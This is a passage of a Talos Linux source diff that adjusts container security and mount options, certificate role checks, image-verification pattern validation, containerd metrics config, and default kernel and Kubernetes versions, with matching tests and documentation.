@@ -96,6 +96,9 @@ type ContainerSecurityConfig interface { CapabilitiesAdd() []string // CapabilitiesDrop lists capabilities to remove; "ALL" is accepted. CapabilitiesDrop() []string + // MachinedAccess publishes the container's PID for machined's API to recognize, and mounts + // the machined API socket into the container. + MachinedAccess() bool } // ContainerNetworkMode selects the container's network namespace. diff --git a/pkg/machinery/config/generate/generate_test.go b/pkg/machinery/config/generate/generate_test.go index 2cf6950202e..56c0ff7da65 100644 --- a/pkg/machinery/config/generate/generate_test.go +++ b/pkg/machinery/config/generate/generate_test.go @@ -17,6 +17,7 @@ import ( "github.com/siderolabs/talos/pkg/machinery/client" "github.com/siderolabs/talos/pkg/machinery/config" mc "github.com/siderolabs/talos/pkg/machinery/config/config" + "github.com/siderolabs/talos/pkg/machinery/config/encoder" "github.com/siderolabs/talos/pkg/machinery/config/generate" "github.com/siderolabs/talos/pkg/machinery/config/machine" blockcfg "github.com/siderolabs/talos/pkg/machinery/config/types/block" @@ -168,6 +169,31 @@ func TestGenerateRegistryMirrorsOrder(t *testing.T) { assert.Equal(t, "b.com", named.Name()) } +// TestGenerateNoLegacyRegistries asserts that no empty legacy `.machine.registries` stanza is +// generated for machine types which use the multi-doc registry configuration. +func TestGenerateNoLegacyRegistries(t *testing.T) { + t.Parallel() + + input, err := generate.NewInput("test", "https://10.0.1.5", constants.DefaultKubernetesVersion) + require.NoError(t, err) + + for _, machineType := range []machine.Type{machine.TypeControlPlane, machine.TypeWorker} { + t.Run(machineType.String(), func(t *testing.T) { + t.Parallel() + + cfg, err := input.Config(machineType) + require.NoError(t, err) + + // the legacy stanza is only rendered by the commented encoder, which is what + // `talosctl gen config` uses by default. + out, err := cfg.EncodeBytes(encoder.WithComments(encoder.CommentsAll)) + require.NoError(t, err) + + assert.NotContains(t, string(out), "registries:") + }) + } +} + func TestGenerateEphemeralVolumeConfig(t *testing.T) { t.Parallel() diff --git a/pkg/machinery/config/generate/secrets/ca.go b/pkg/machinery/config/generate/secrets/ca.go index 4bb4b190b68..1fc964b0ab3 100644 --- a/pkg/machinery/config/generate/secrets/ca.go +++ b/pkg/machinery/config/generate/secrets/ca.go @@ -6,6 +6,7 @@ package secrets import ( stdx509 "crypto/x509" + "errors" "time" "github.com/siderolabs/crypto/x509" @@ -64,6 +65,11 @@ func NewTalosCA(currentTime time.Time) (ca *x509.CertificateAuthority, err error // NewAdminCertificateAndKey generates the admin Talos certificate and key. func NewAdminCertificateAndKey(currentTime time.Time, ca *x509.PEMEncodedCertificateAndKey, roles role.Set, ttl time.Duration) (p *x509.PEMEncodedCertificateAndKey, err error) { + // A client certificate without any roles is no longer valid, as RBAC is now enabled by default (but it was valid in pre-RBAC days). + if roles.Empty() { + return nil, errors.New("at least one role is required to generate a Talos API certificate") + } + opts := []x509.Option{ x509.Organization(roles.Strings()...), x509.NotAfter(currentTime.Add(ttl)), diff --git a/pkg/machinery/config/generate/secrets/ca_test.go b/pkg/machinery/config/generate/secrets/ca_test.go new file mode 100644 index 00000000000..ed9988266fe --- /dev/null +++ b/pkg/machinery/config/generate/secrets/ca_test.go @@ -0,0 +1,55 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package secrets_test + +import ( + stdx509 "crypto/x509" + "encoding/pem" + "testing" + "time" + + "github.com/siderolabs/crypto/x509" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/siderolabs/talos/pkg/machinery/config/generate/secrets" + "github.com/siderolabs/talos/pkg/machinery/role" +) + +func TestNewAdminCertificateAndKey(t *testing.T) { + t.Parallel() + + now := time.Now() + + ca, err := secrets.NewTalosCA(now) + require.NoError(t, err) + + talosCA := &x509.PEMEncodedCertificateAndKey{ + Crt: ca.CrtPEM, + Key: ca.KeyPEM, + } + + t.Run("roles land in the Subject Organization", func(t *testing.T) { + t.Parallel() + + cert, err := secrets.NewAdminCertificateAndKey(now, talosCA, role.MakeSet(role.Reader), time.Hour) + require.NoError(t, err) + + block, _ := pem.Decode(cert.Crt) + require.NotNil(t, block) + + parsed, err := stdx509.ParseCertificate(block.Bytes) + require.NoError(t, err) + + assert.Equal(t, []string{"os:reader"}, parsed.Subject.Organization) + }) + + t.Run("an empty role set is refused", func(t *testing.T) { + t.Parallel() + + _, err := secrets.NewAdminCertificateAndKey(now, talosCA, role.Zero, time.Hour) + assert.ErrorContains(t, err, "at least one role is required") + }) +} diff --git a/pkg/machinery/config/generate/worker.go b/pkg/machinery/config/generate/worker.go index 833cac97dd2..2d111fcad8f 100644 --- a/pkg/machinery/config/generate/worker.go +++ b/pkg/machinery/config/generate/worker.go @@ -145,21 +145,6 @@ func (in *Input) worker() ([]config.Document, error) { } } - if machine.MachineRegistries.RegistryMirrors == nil { //nolint:staticcheck // backwards compatibility - machine.MachineRegistries.RegistryMirrors = map[string]*v1alpha1.RegistryMirrorConfig{} //nolint:staticcheck // backwards compatibility - } - - if in.Options.VersionContract.KubernetesAlternateImageRegistries() { - if _, ok := machine.MachineRegistries.RegistryMirrors["k8s.gcr.io"]; !ok { //nolint:staticcheck // backwards compatibility Talos v1.1->1.2 - machine.MachineRegistries.RegistryMirrors["k8s.gcr.io"] = &v1alpha1.RegistryMirrorConfig{ //nolint:staticcheck // backwards compatibility Talos v1.1->1.2 - MirrorEndpoints: []string{ - "https://registry.k8s.io", - "https://k8s.gcr.io", - }, - } - } - } - if in.Options.VersionContract.ClusterNameForWorkers() && !in.Options.VersionContract.MultidocKubernetesConfigSupported() { cluster.ClusterName = in.ClusterName //nolint:staticcheck // legacy configuration } diff --git a/pkg/machinery/config/schemas/config.schema.json b/pkg/machinery/config/schemas/config.schema.json index 84b4959f275..4bf7a93d584 100644 --- a/pkg/machinery/config/schemas/config.schema.json +++ b/pkg/machinery/config/schemas/config.schema.json @@ -1393,6 +1393,13 @@ "description": "Linux capabilities to add or drop on top of the profile.\n", "markdownDescription": "Linux capabilities to add or drop on top of the profile.", "x-intellij-html-description": "\u003cp\u003eLinux capabilities to add or drop on top of the profile.\u003c/p\u003e\n" + }, + "machinedAccess": { + "type": "boolean", + "title": "machinedAccess", + "description": "Publishes the container’s PID so machined’s API can recognize it, and bind-mounts the\nmachined API socket into the container.\n\nThis alone does not grant DAC access to the socket, which is owned by the apid user:\nreaching it in practice still requires profile: privileged or an equivalent capability/\nrunAs grant. Once connected, the container may request any role, same as extension\nservices; the RPC’s own role requirements are what actually gate access.\n", + "markdownDescription": "Publishes the container's PID so machined's API can recognize it, and bind-mounts the\nmachined API socket into the container.\n\nThis alone does not grant DAC access to the socket, which is owned by the `apid` user:\nreaching it in practice still requires `profile: privileged` or an equivalent capability/\n`runAs` grant. Once connected, the container may request any role, same as extension\nservices; the RPC's own role requirements are what actually gate access.", + "x-intellij-html-description": "\u003cp\u003ePublishes the container\u0026rsquo;s PID so machined\u0026rsquo;s API can recognize it, and bind-mounts the\nmachined API socket into the container.\u003c/p\u003e\n\n\u003cp\u003eThis alone does not grant DAC access to the socket, which is owned by the \u003ccode\u003eapid\u003c/code\u003e user:\nreaching it in practice still requires \u003ccode\u003eprofile: privileged\u003c/code\u003e or an equivalent capability/\n\u003ccode\u003erunAs\u003c/code\u003e grant. Once connected, the container may request any role, same as extension\nservices; the RPC\u0026rsquo;s own role requirements are what actually gate access.\u003c/p\u003e\n" } }, "additionalProperties": false, @@ -1421,9 +1428,9 @@ }, "type": "array", "title": "options", - "description": "Mount options. Host path mounts are read-only by default (ro).\n", - "markdownDescription": "Mount options. Host path mounts are read-only by default (`ro`).", - "x-intellij-html-description": "\u003cp\u003eMount options. Host path mounts are read-only by default (\u003ccode\u003ero\u003c/code\u003e).\u003c/p\u003e\n" + "description": "Mount options. Host path mounts are writable by default (rw).\n", + "markdownDescription": "Mount options. Host path mounts are writable by default (`rw`).", + "x-intellij-html-description": "\u003cp\u003eMount options. Host path mounts are writable by default (\u003ccode\u003erw\u003c/code\u003e).\u003c/p\u003e\n" } }, "additionalProperties": false, @@ -1489,9 +1496,9 @@ "rshared" ], "title": "options", - "description": "Mount options. User volume mounts are read-only by default (ro).\n", - "markdownDescription": "Mount options. User volume mounts are read-only by default (`ro`).", - "x-intellij-html-description": "\u003cp\u003eMount options. User volume mounts are read-only by default (\u003ccode\u003ero\u003c/code\u003e).\u003c/p\u003e\n" + "description": "Mount options. User volume mounts are writable by default (rw).\n", + "markdownDescription": "Mount options. User volume mounts are writable by default (`rw`).", + "x-intellij-html-description": "\u003cp\u003eMount options. User volume mounts are writable by default (\u003ccode\u003erw\u003c/code\u003e).\u003c/p\u003e\n" } }, "additionalProperties": false, diff --git a/pkg/machinery/config/types/container/container_config_test.go b/pkg/machinery/config/types/container/container_config_test.go index 46658e16bdb..4b02a90f171 100644 --- a/pkg/machinery/config/types/container/container_config_test.go +++ b/pkg/machinery/config/types/container/container_config_test.go @@ -88,7 +88,6 @@ mounts: - userVolume: name: director-data destination: /var/lib/director - options: [rw] - tmpfs: destination: /tmp size: 64MiB @@ -143,7 +142,7 @@ dependsOn: mounts := cfg.Mounts() require.Len(t, mounts, 3) - // rw is honored, and stripped from the option list handed downstream. + // A user volume with no options is writable by default. uv, ok := mounts[0].UserVolume().Get() require.True(t, ok) assert.Equal(t, "director-data", uv.Name()) @@ -155,10 +154,10 @@ dependsOn: require.True(t, ok) assert.NotContains(t, tmpfs.MountOptions(), "ro") - // A mount with no options is read-only by default. + // A host path with no options is writable by default. hp, ok := mounts[2].HostPath().Get() require.True(t, ok) - assert.Equal(t, []string{"ro"}, hp.MountOptions()) + assert.NotContains(t, hp.MountOptions(), "ro") } func TestContainerConfigValidationErrors(t *testing.T) { diff --git a/pkg/machinery/config/types/container/container_doc.go b/pkg/machinery/config/types/container/container_doc.go index 300f02b07da..14c0b8883c0 100644 --- a/pkg/machinery/config/types/container/container_doc.go +++ b/pkg/machinery/config/types/container/container_doc.go @@ -185,8 +185,8 @@ func (UserVolumeMount) Doc() *encoder.Doc { Name: "options", Type: "[]string", Note: "", - Description: "Mount options. User volume mounts are read-only by default (`ro`).", - Comments: [3]string{"" /* encoder.HeadComment */, "Mount options. User volume mounts are read-only by default (`ro`)." /* encoder.LineComment */, "" /* encoder.FootComment */}, + Description: "Mount options. User volume mounts are writable by default (`rw`).", + Comments: [3]string{"" /* encoder.HeadComment */, "Mount options. User volume mounts are writable by default (`rw`)." /* encoder.LineComment */, "" /* encoder.FootComment */}, Values: []string{ "ro", "rw", @@ -275,8 +275,8 @@ func (HostPathMount) Doc() *encoder.Doc { Name: "options", Type: "[]string", Note: "", - Description: "Mount options. Host path mounts are read-only by default (`ro`).", - Comments: [3]string{"" /* encoder.HeadComment */, "Mount options. Host path mounts are read-only by default (`ro`)." /* encoder.LineComment */, "" /* encoder.FootComment */}, + Description: "Mount options. Host path mounts are writable by default (`rw`).", + Comments: [3]string{"" /* encoder.HeadComment */, "Mount options. Host path mounts are writable by default (`rw`)." /* encoder.LineComment */, "" /* encoder.FootComment */}, }, }, } @@ -492,6 +492,13 @@ func (ContainerSecurity) Doc() *encoder.Doc { Description: "Linux capabilities to add or drop on top of the profile.", Comments: [3]string{"" /* encoder.HeadComment */, "Linux capabilities to add or drop on top of the profile." /* encoder.LineComment */, "" /* encoder.FootComment */}, }, + { + Name: "machinedAccess", + Type: "bool", + Note: "", + Description: "Publishes the container's PID so machined's API can recognize it, and bind-mounts the\nmachined API socket into the container.\n\nThis alone does not grant DAC access to the socket, which is owned by the `apid` user:\nreaching it in practice still requires `profile: privileged` or an equivalent capability/\n`runAs` grant. Once connected, the container may request any role, same as extension\nservices; the RPC's own role requirements are what actually gate access.", + Comments: [3]string{"" /* encoder.HeadComment */, "Publishes the container's PID so machined's API can recognize it, and bind-mounts the" /* encoder.LineComment */, "" /* encoder.FootComment */}, + }, }, } diff --git a/pkg/machinery/config/types/container/mounts.go b/pkg/machinery/config/types/container/mounts.go index b149212cd76..cb517265545 100644 --- a/pkg/machinery/config/types/container/mounts.go +++ b/pkg/machinery/config/types/container/mounts.go @@ -59,7 +59,7 @@ type UserVolumeMount struct { // Absolute path inside the container's mount namespace. MountDestination string `yaml:"destination"` // description: | - // Mount options. User volume mounts are read-only by default (`ro`). + // Mount options. User volume mounts are writable by default (`rw`). // values: // - ro // - rw @@ -98,7 +98,7 @@ type HostPathMount struct { // Absolute path inside the container's mount namespace. MountDestination string `yaml:"destination"` // description: | - // Mount options. Host path mounts are read-only by default (`ro`). + // Mount options. Host path mounts are writable by default (`rw`). MountOpts []string `yaml:"options,omitempty"` } @@ -229,7 +229,7 @@ func (m *UserVolumeMount) Name() string { return m.VolumeName } func (m *UserVolumeMount) Destination() string { return m.MountDestination } // MountOptions implements config.ContainerUserVolumeMountConfig interface. -func (m *UserVolumeMount) MountOptions() []string { return normalizeOptions(m.MountOpts) } +func (m *UserVolumeMount) MountOptions() []string { return normalizeWritableOptions(m.MountOpts) } // Destination implements config.ContainerTmpfsMountConfig interface. func (m *TmpfsMount) Destination() string { return m.MountDestination } @@ -238,7 +238,7 @@ func (m *TmpfsMount) Destination() string { return m.MountDestination } func (m *TmpfsMount) Size() string { return m.MountSize } // MountOptions implements config.ContainerTmpfsMountConfig interface. -func (m *TmpfsMount) MountOptions() []string { return normalizeTmpfsOptions(m.MountOpts) } +func (m *TmpfsMount) MountOptions() []string { return normalizeWritableOptions(m.MountOpts) } // Source implements config.ContainerHostPathMountConfig interface. func (m *HostPathMount) Source() string { return m.MountSource } @@ -247,28 +247,11 @@ func (m *HostPathMount) Source() string { return m.MountSource } func (m *HostPathMount) Destination() string { return m.MountDestination } // MountOptions implements config.ContainerHostPathMountConfig interface. -func (m *HostPathMount) MountOptions() []string { return normalizeOptions(m.MountOpts) } +func (m *HostPathMount) MountOptions() []string { return normalizeWritableOptions(m.MountOpts) } -// normalizeOptions applies the read-only default. +// normalizeWritableOptions applies the writable default shared by every container mount kind. // -// Mounts are read-only unless the configuration says otherwise, which is the inverse of the OCI -// default and matches the security posture in the RFD. -func normalizeOptions(options []string) []string { - if slices.Contains(options, "rw") { - return slices.DeleteFunc(slices.Clone(options), func(o string) bool { return o == "rw" }) - } - - if slices.Contains(options, "ro") { - return slices.Clone(options) - } - - return append(slices.Clone(options), "ro") -} - -// normalizeTmpfsOptions applies the writable default for tmpfs mounts (inverse of normalizeOptions). -// -// A tmpfs is private scratch space, not a view onto host or volume state, so it defaults to `rw`; -// an explicit `ro` is honored, and a redundant explicit `rw` is stripped since it's the default. -func normalizeTmpfsOptions(options []string) []string { +// An explicit `ro` is honored, and a redundant explicit `rw` is stripped since it's the default. +func normalizeWritableOptions(options []string) []string { return slices.DeleteFunc(slices.Clone(options), func(o string) bool { return o == "rw" }) } diff --git a/pkg/machinery/config/types/container/security.go b/pkg/machinery/config/types/container/security.go index 9dc0441b941..4bf6f48df27 100644 --- a/pkg/machinery/config/types/container/security.go +++ b/pkg/machinery/config/types/container/security.go @@ -35,6 +35,15 @@ type ContainerSecurity struct { // description: | // Linux capabilities to add or drop on top of the profile. SecurityCapabilities *ContainerCapabilities `yaml:"capabilities,omitempty"` + // description: | + // Publishes the container's PID so machined's API can recognize it, and bind-mounts the + // machined API socket into the container. + // + // This alone does not grant DAC access to the socket, which is owned by the `apid` user: + // reaching it in practice still requires `profile: privileged` or an equivalent capability/ + // `runAs` grant. Once connected, the container may request any role, same as extension + // services; the RPC's own role requirements are what actually gate access. + SecurityMachinedAccess bool `yaml:"machinedAccess,omitempty"` } // ContainerCapabilities adjusts the container's Linux capabilities. @@ -81,6 +90,11 @@ func (s *ContainerSecurity) CapabilitiesDrop() []string { return s.SecurityCapabilities.CapabilitiesDropConfig } +// MachinedAccess implements config.ContainerSecurityConfig interface. +func (s *ContainerSecurity) MachinedAccess() bool { + return s.SecurityMachinedAccess +} + // Validate checks the security settings. func (s *ContainerSecurity) Validate() error { var validationErrors error diff --git a/pkg/machinery/config/types/cri/customization.go b/pkg/machinery/config/types/cri/customization.go index 599d4698391..471e32c66e3 100644 --- a/pkg/machinery/config/types/cri/customization.go +++ b/pkg/machinery/config/types/cri/customization.go @@ -76,7 +76,7 @@ func NewCRICustomizationConfigV1Alpha1(name string) *CRICustomizationConfigV1Alp func exampleCRICustomizationConfigV1Alpha1() *CRICustomizationConfigV1Alpha1 { cfg := NewCRICustomizationConfigV1Alpha1("enable-metrics") - cfg.CustomizationContent = `[metrics] + cfg.CustomizationContent = `[plugins."io.containerd.server.v1.metrics"] address = "0.0.0.0:11234" ` diff --git a/pkg/machinery/config/types/cri/customization_test.go b/pkg/machinery/config/types/cri/customization_test.go index f739f5fea1c..b3b079db006 100644 --- a/pkg/machinery/config/types/cri/customization_test.go +++ b/pkg/machinery/config/types/cri/customization_test.go @@ -20,7 +20,7 @@ import ( //go:embed testdata/cricustomizationconfig.yaml var expectedCRICustomizationConfigDocument []byte -const customizationContent = `[metrics] +const customizationContent = `[plugins."io.containerd.server.v1.metrics"] address = "0.0.0.0:11234" ` diff --git a/pkg/machinery/config/types/cri/testdata/cricustomizationconfig.yaml b/pkg/machinery/config/types/cri/testdata/cricustomizationconfig.yaml index 6e80c04045a..a9306bd3d40 100644 --- a/pkg/machinery/config/types/cri/testdata/cricustomizationconfig.yaml +++ b/pkg/machinery/config/types/cri/testdata/cricustomizationconfig.yaml @@ -2,5 +2,5 @@ apiVersion: v1alpha1 kind: CRICustomizationConfig name: enable-metrics content: | - [metrics] + [plugins."io.containerd.server.v1.metrics"] address = "0.0.0.0:11234" diff --git a/pkg/machinery/config/types/k8s/talos_api_access.go b/pkg/machinery/config/types/k8s/talos_api_access.go index d5c46a85e80..5d3dbaff4e0 100644 --- a/pkg/machinery/config/types/k8s/talos_api_access.go +++ b/pkg/machinery/config/types/k8s/talos_api_access.go @@ -97,6 +97,10 @@ func (s *KubeTalosAPIAccessConfigV1Alpha1) Validate(validation.RuntimeMode, ...v warnings []string ) + if len(s.AccessAllowedRoles) == 0 { + warnings = append(warnings, "no roles are allowed in .allowedRoles, so access is blocked") + } + for _, r := range s.AccessAllowedRoles { if !role.All.Includes(role.Role(r)) { errs = errors.Join(errs, fmt.Errorf("invalid role %q in .allowedRoles", r)) diff --git a/pkg/machinery/config/types/k8s/talos_api_access_test.go b/pkg/machinery/config/types/k8s/talos_api_access_test.go index de3f230236c..833e2003758 100644 --- a/pkg/machinery/config/types/k8s/talos_api_access_test.go +++ b/pkg/machinery/config/types/k8s/talos_api_access_test.go @@ -76,15 +76,17 @@ func TestKubeTalosAPIAccessConfigValidate(t *testing.T) { name string cfg func() *k8s.KubeTalosAPIAccessConfigV1Alpha1 - expectedError string + expectedError string + expectedWarnings []string }{ { name: "valid", cfg: kubeTalosAPIAccessConfig, }, { - name: "no roles", - cfg: k8s.NewKubeTalosAPIAccessConfigV1Alpha1, + name: "no roles", + cfg: k8s.NewKubeTalosAPIAccessConfigV1Alpha1, + expectedWarnings: []string{"no roles are allowed in .allowedRoles, so access is blocked"}, }, { name: "all roles", @@ -128,7 +130,7 @@ func TestKubeTalosAPIAccessConfigValidate(t *testing.T) { t.Parallel() warnings, err := test.cfg().Validate(validationMode{}) - assert.Nil(t, warnings) + assert.Equal(t, test.expectedWarnings, warnings) if test.expectedError != "" { assert.EqualError(t, err, test.expectedError) diff --git a/pkg/machinery/config/types/runtime/unattended_install.go b/pkg/machinery/config/types/runtime/unattended_install.go index 16f5d7a29b3..dada2260f6d 100644 --- a/pkg/machinery/config/types/runtime/unattended_install.go +++ b/pkg/machinery/config/types/runtime/unattended_install.go @@ -112,11 +112,11 @@ func (s ProvisioningSpec) IsZero() bool { // Validate parses selector without mutating stored config. func (s ProvisioningSpec) Validate() error { if s.DiskSelector.Match.IsZero() { - return errors.New("provisioning.volumeSelector.match is required") + return errors.New("provisioning.diskSelector.match is required") } if err := s.DiskSelector.Match.ParseBool(celenv.DiskLocator()); err != nil { - return fmt.Errorf("provisioning.volumeSelector.match: %w", err) + return fmt.Errorf("provisioning.diskSelector.match: %w", err) } return nil diff --git a/pkg/machinery/config/types/runtime/unattended_install_test.go b/pkg/machinery/config/types/runtime/unattended_install_test.go index 8e2763c1a81..853b1102b50 100644 --- a/pkg/machinery/config/types/runtime/unattended_install_test.go +++ b/pkg/machinery/config/types/runtime/unattended_install_test.go @@ -90,7 +90,7 @@ func TestUnattendedInstallValidate(t *testing.T) { { name: "empty", cfg: runtime.NewUnattendedInstallConfigV1Alpha1, - expectedError: "provisioning.volumeSelector.match is required", + expectedError: "provisioning.diskSelector.match is required", expectedWarnings: []string{ "installer.image is not set, if Talos is not booted from asset built by Image Factory, installation will fail", }, @@ -108,14 +108,14 @@ func TestUnattendedInstallValidate(t *testing.T) { }, }, { - name: "no volume selector match", + name: "no disk selector match", cfg: func() *runtime.UnattendedInstallConfigV1Alpha1 { cfg := runtime.NewUnattendedInstallConfigV1Alpha1() cfg.Installer.Image = "factory.talos.dev/metal-installer/376567988ad370138ad8b2698212367b8edcb69b5fd68c80be1f2ec7d603b4ba:v1.0.0" return cfg }, - expectedError: "provisioning.volumeSelector.match is required", + expectedError: "provisioning.diskSelector.match is required", }, { name: "invalid match expression", @@ -131,7 +131,7 @@ func TestUnattendedInstallValidate(t *testing.T) { return cfg }, - expectedError: "provisioning.volumeSelector.match: expression output type is int, expected bool", + expectedError: "provisioning.diskSelector.match: expression output type is int, expected bool", }, { name: "valid config", diff --git a/pkg/machinery/config/types/security/image_verification.go b/pkg/machinery/config/types/security/image_verification.go index 8ee4eed3bd9..66fdbcab7c0 100644 --- a/pkg/machinery/config/types/security/image_verification.go +++ b/pkg/machinery/config/types/security/image_verification.go @@ -96,6 +96,11 @@ type ImageVerificationRuleV1Alpha1 struct { // description: | // Image reference pattern to match for this rule. // Supports glob patterns, matches only on the image registry and repository, not on the tag or digest. + // + // The pattern is matched against the normalized image reference, which always starts with a registry + // domain: `docker.io/library/nginx*` matches `nginx:latest`, while `library/nginx*` matches nothing. + // The Docker Hub domain is always normalized to `docker.io`, so a pattern written against + // `index.docker.io` or `registry-1.docker.io` matches the same images a `docker.io` one does. // examples: // - value: > // "docker.io/library/nginx" @@ -175,7 +180,7 @@ func exampleImageVerificationConfigV1Alpha1() *ImageVerificationConfigV1Alpha1 { }, }, { - RuleImagePattern: "my-registry/*", + RuleImagePattern: "my-registry.example.com/*", RulePublicKeyVerifier: &ImagePublicKeyVerifierV1Alpha1{ ConfigCertificate: `-----BEGIN CERTIFICATE----- MII--Sample Value-- @@ -183,7 +188,7 @@ MII--Sample Value-- }, }, { - RuleImagePattern: "locahost:3000/*", + RuleImagePattern: "localhost:3000/*", RuleDeny: new(true), }, } @@ -223,8 +228,10 @@ func (s *ImageVerificationConfigV1Alpha1) Validate(validation.RuntimeMode, ...va } } - if !strings.ContainsRune(rule.RuleImagePattern, '/') && rule.RuleImagePattern != "*" && rule.RuleImagePattern != "" { - warnings = append(warnings, fmt.Sprintf("rule %d: imagePattern does not contain a '/', image references like 'nginx' are matched as 'docker.io/nginx' (normalized)", i)) + if pattern := rule.RuleImagePattern; pattern != "" && patternMatchesNoImage(pattern) { + warnings = append(warnings, + fmt.Sprintf("rule %d: imagePattern %q cannot match any image: references are matched in their normalized "+ + "'/' form, e.g. 'nginx' is matched as 'docker.io/library/nginx'", i, pattern)) } skip := pointer.SafeDeref(rule.RuleSkip) @@ -270,6 +277,28 @@ func (s *ImageVerificationConfigV1Alpha1) Validate(validation.RuntimeMode, ...va return warnings, errs } +// patternMatchesNoImage reports whether the pattern cannot match any image reference at all. +// +// Image references are matched in their normalized `/` form, and the +// glob matcher anchors the pattern's leading literal at the start of the reference. So a pattern +// whose leading literal reaches past the domain separator without being a registry domain can +// never match — `library/nginx*` does not match `docker.io/library/nginx` — and neither can a +// pattern which has no glob and no `/`, as every normalized reference has one. +func patternMatchesNoImage(pattern string) bool { + // the literal which the glob matcher anchors at the start of the reference + prefix, _, hasGlob := strings.Cut(pattern, "*") + + domain, _, hasSeparator := strings.Cut(prefix, "/") + if !hasSeparator { + // the literal stops short of the domain separator, so it can still be extended into a + // registry domain by a glob + return !hasGlob + } + + // the domain of a pattern is matched case-insensitively, just like the domain of a reference + return !strings.ContainsAny(domain, ".:") && !strings.EqualFold(domain, "localhost") +} + // Rules implements config.ImageVerificationConfig interface. func (s *ImageVerificationConfigV1Alpha1) Rules() []config.ImageVerificationRule { return xslices.Map(s.ConfigRules, func(r ImageVerificationRuleV1Alpha1) config.ImageVerificationRule { diff --git a/pkg/machinery/config/types/security/image_verification_test.go b/pkg/machinery/config/types/security/image_verification_test.go index eea97c19080..b1966378af2 100644 --- a/pkg/machinery/config/types/security/image_verification_test.go +++ b/pkg/machinery/config/types/security/image_verification_test.go @@ -345,6 +345,35 @@ func TestImageVerificationConfigValidate(t *testing.T) { RuleImagePattern: "nginx", RuleSkip: new(true), }, + { + RuleImagePattern: "library/nginx*", + RuleSkip: new(true), + }, + { // a pattern which does start with a registry domain draws no warning + RuleImagePattern: "docker.io/library/nginx*", + RuleSkip: new(true), + }, + { + RuleImagePattern: "localhost:5000/*", + RuleSkip: new(true), + }, + { // the domain of a pattern is normalized before it is matched, so its + // case is not significant here either + RuleImagePattern: "LOCALHOST/*", + RuleSkip: new(true), + }, + { + RuleImagePattern: "*/library/nginx*", + RuleSkip: new(true), + }, + { // a glob can still be extended into a registry domain, e.g. 'nginx.io/foo' + RuleImagePattern: "nginx*", + RuleSkip: new(true), + }, + { + RuleImagePattern: "*", + RuleSkip: new(true), + }, } return c @@ -353,7 +382,10 @@ func TestImageVerificationConfigValidate(t *testing.T) { expectedWarnings: []string{ "rule 0: imagePattern contains ':' but matching only applies to the image registry and repository, not the tag or digest", "rule 1: imagePattern contains '@' but matching only applies to the image registry and repository, not the tag or digest", - "rule 2: imagePattern does not contain a '/', image references like 'nginx' are matched as 'docker.io/nginx' (normalized)", + "rule 2: imagePattern \"nginx\" cannot match any image: references are matched in their normalized " + + "'/' form, e.g. 'nginx' is matched as 'docker.io/library/nginx'", + "rule 3: imagePattern \"library/nginx*\" cannot match any image: references are matched in their normalized " + + "'/' form, e.g. 'nginx' is matched as 'docker.io/library/nginx'", }, }, } { diff --git a/pkg/machinery/config/types/security/security_doc.go b/pkg/machinery/config/types/security/security_doc.go index 986b7ab9023..e380591e84d 100644 --- a/pkg/machinery/config/types/security/security_doc.go +++ b/pkg/machinery/config/types/security/security_doc.go @@ -83,7 +83,7 @@ func (ImageVerificationRuleV1Alpha1) Doc() *encoder.Doc { Name: "image", Type: "string", Note: "", - Description: "Image reference pattern to match for this rule.\nSupports glob patterns, matches only on the image registry and repository, not on the tag or digest.", + Description: "Image reference pattern to match for this rule.\nSupports glob patterns, matches only on the image registry and repository, not on the tag or digest.\n\nThe pattern is matched against the normalized image reference, which always starts with a registry\ndomain: `docker.io/library/nginx*` matches `nginx:latest`, while `library/nginx*` matches nothing.\nThe Docker Hub domain is always normalized to `docker.io`, so a pattern written against\n`index.docker.io` or `registry-1.docker.io` matches the same images a `docker.io` one does.", Comments: [3]string{"" /* encoder.HeadComment */, "Image reference pattern to match for this rule." /* encoder.LineComment */, "" /* encoder.FootComment */}, }, { diff --git a/pkg/machinery/constants/constants.go b/pkg/machinery/constants/constants.go index 47edc00196c..eb30f331c89 100644 --- a/pkg/machinery/constants/constants.go +++ b/pkg/machinery/constants/constants.go @@ -20,7 +20,7 @@ var SupportedArchitectures = []string{ const ( // DefaultKernelVersion is the default Linux kernel version. - DefaultKernelVersion = "6.18.46-talos" + DefaultKernelVersion = "6.18.48-talos" // KernelParamConfig is the kernel parameter name for specifying the URL. // to the config. @@ -378,7 +378,7 @@ const ( // DefaultKubernetesVersion is the default target version of the control plane. // renovate: datasource=github-releases depName=kubernetes/kubernetes - DefaultKubernetesVersion = "1.37.0-rc.1" + DefaultKubernetesVersion = "1.37.0" // SupportedKubernetesVersions is the number of Kubernetes versions supported by Talos starting from DefaultKubernetesVersion going backwards. SupportedKubernetesVersions = 6 @@ -582,6 +582,12 @@ const ( // collide with Kubernetes pods nor depend on Kubernetes being configured. TalosContainersContainerdNamespace = "taloscontainers" + // TalosContainersLogPrefix is the service log name prefix for containers declared via ContainerConfig. + // + // Keyed by container config, not by instance: successive generations append to one buffer, so restart + // history reads as a single continuous log. + TalosContainersLogPrefix = TalosContainersContainerdNamespace + "-" + // CRIContainerdAddress is the path to the CRI containerd socket address. CRIContainerdAddress = "/run/containerd/containerd.sock" @@ -828,6 +834,16 @@ const ( // SelinuxLabelUnconfinedSysContainer is the SELinux label for system containers without label set (normally extensions). SelinuxLabelUnconfinedSysContainer = "system_u:system_r:unconfined_container_t:s0" + // SelinuxLabelTalosContainer is the SELinux label for containers declared via ContainerConfig. + // + // Distinct from the pod label even though both run on the CRI containerd: these are not pods, and + // a domain of their own is what lets them be told apart in audit and confined separately. + SelinuxLabelTalosContainer = "system_u:system_r:taloscontainer_t:s0" + + // SelinuxLabelTalosContainerMachined is the SELinux label for containers declared via + // ContainerConfig with security.machinedAccess set. + SelinuxLabelTalosContainerMachined = "system_u:system_r:taloscontainer_machined_t:s0" + // SelinuxLabelUnconfinedService is the SELinux label for process without label set (normally should not occur). SelinuxLabelUnconfinedService = "system_u:system_r:unconfined_service_t:s0" @@ -901,6 +917,12 @@ const ( // CgroupSystemSandboxMillicores is the CPU weight for the sandbox cgroup. CgroupSystemSandboxMillicores = 100 + // CgroupTalosContainersRoot is the cgroup containing containers declared via ContainerConfig. + CgroupTalosContainersRoot = "taloscontainers" + + // CgroupTalosContainersMillicores is the CPU weight for the taloscontainers root cgroup. + CgroupTalosContainersMillicores = 1000 + // CgroupPodRuntimeRoot is the cgroup containing Kubernetes runtime components. CgroupPodRuntimeRoot = 